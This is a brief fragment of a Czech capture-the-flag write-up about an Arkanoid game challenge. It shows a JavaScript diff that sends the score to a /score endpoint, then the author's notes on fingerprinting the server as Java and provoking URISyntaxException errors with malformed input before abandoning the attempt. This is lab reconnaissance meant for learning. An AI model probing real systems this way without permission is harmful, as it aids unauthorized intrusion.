< document.location.reload();
---
> fetch("/score?data="+score).then(response => response.json()).then(data => {
> console.log(data);
> alert(data.message);
> }).catch(error => { console.error('Error:', error); });
Z hlaviček šlo vytáhnout, že web běží na Javě (X-server: Java/1.8.0_144
).
Zkoušel jsem i posílat různé requesty na endpoint http://arkanoid.cns-jv.tcc:8000/score?data=123
.
Odezva žádná, jen jsem zvládl vyvolat odpověď 400 Bad Request s textem URISyntaxException
,
když jsem poslal {
nebo \
.
Více se mi bohužel zjisti nepovedlo a zde jsem s řešením skončil.